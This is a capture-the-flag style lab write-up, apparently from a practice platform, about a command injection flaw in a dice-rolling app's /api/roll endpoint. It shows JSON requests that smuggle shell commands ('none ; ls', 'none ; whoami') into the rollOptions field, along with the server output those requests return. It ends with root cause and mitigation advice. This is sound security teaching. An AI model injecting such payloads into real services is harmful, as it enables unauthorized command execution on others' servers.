Command Injection – Remote Code Execution via rollOptions Parameter | Diceforge
Overview
Diceforge is a web-based dice simulation application where users can select different dice types (e.g., d6, d8) and roll them to generate results. The backend processes user input and returns calculated totals.
During testing, a critical vulnerability was identified in the API responsible for handling dice roll requests. Improper handling of user-supplied input in the rollOptions parameter led to command injection, allowing arbitrary command execution on the server.
Objective
- Analyze how user input is processed in the
/api/rollendpoint - Identify unsafe input handling
- Achieve command execution on the server
- Demonstrate impact by extracting system-level information
Reconnaissance
After interacting with the UI (dragging dice and clicking Roll), the following request was observed:
1
2
3
4
5
POST /api/roll HTTP/2
Host: lab-1777244965123-e4qroh.labs-app.bugforge.io
Content-Type: application/json
{"dice":[{"type":"d6","count":1},{"type":"d8","count":1}],"rollOptions":"none"}
Response
1
2
3
4
5
6
7
8
{
"notation": "1d6 + 1d8",
"results": [
{"type":"d6","count":1,"rolls":[4],"subtotal":4},
{"type":"d8","count":1,"rolls":[8],"subtotal":8}
],
"grandTotal": 12
}
Key Observation
- The
rollOptionsparameter is user-controlled - It appears to be passed to backend logic without strict validation
- The value
"none"seems to be expected by the application
Initial tests with empty or modified values did not produce errors, suggesting weak validation rather than strict enforcement.
Exploitation
Step 1: Testing Input Behavior
Tried modifying the parameter:
1
"rollOptions":"ls"
No visible change in output. This indicated:
- Either input is ignored in some cases
- Or processed in a way that doesn’t affect visible output directly
Step 2: Command Injection Attempt
Since many backend systems use shell execution internally, a command separator (;) was introduced:
1
2
3
4
POST /api/roll HTTP/2
Content-Type: application/json
{"dice":[{"type":"d6","count":1},{"type":"d8","count":1}],"rollOptions":"none ; ls"}
Why This Works
In Unix-like systems:
;allows chaining commandscommand1 ; command2executes both sequentially
If the backend constructs something like:
1
roll_dice none
It effectively becomes:
1
roll_dice none ; ls
Result
1
2
3
4
5
6
{
"notation": "1d6 + 1d8",
"results": [...],
"grandTotal": 9,
"output": "Dockerfile\nnode_modules\npackage.json\npackage-lock.json\nsrc"
}
Critical Finding
- A new field
outputappeared - This confirms server-side command execution
- The response includes results of system-level commands
Proof of Exploitation
To further validate the vulnerability, system enumeration commands were executed:
1
2
3
4
POST /api/roll HTTP/2
Content-Type: application/json
{"dice":[{"type":"d6","count":1},{"type":"d8","count":1}],"rollOptions":"none ; whoami"}
Expected Outcome
- The response includes the current system user
- Confirms full command execution capability
This demonstrates a clear case of Remote Code Execution (RCE).
Impact
This vulnerability is critical and can lead to:
- Arbitrary command execution on the server
- Full system compromise
- Access to sensitive files (e.g., configs, environment variables)
- Credential leakage
- Container or host enumeration
- Lateral movement within infrastructure
If chained with other vulnerabilities, this can result in complete takeover of the application and underlying system.
Root Cause
The vulnerability exists due to:
- Direct use of user input in system-level commands
- Lack of input sanitization or validation
- Unsafe use of shell execution functions (e.g.,
exec,system) - Trusting client-controlled parameters (
rollOptions)
Mitigation
To prevent command injection:
- Avoid using shell execution with user input
- Use safe libraries/APIs instead of system calls
- Implement strict allowlisting for inputs
- Sanitize and validate all user-controlled data
- Escape special shell characters if execution is unavoidable
- Run backend services with minimal privileges
- Disable unnecessary command execution capabilities
Real-World Insight
Command injection remains one of the most dangerous vulnerabilities in web applications. Even seemingly harmless parameters like rollOptions can become attack vectors if not handled securely.
Modern attackers actively probe APIs for such flaws, especially in JSON-based inputs where validation is often overlooked.
This lab demonstrates how a small oversight in backend input handling can escalate into full Remote Code Execution.
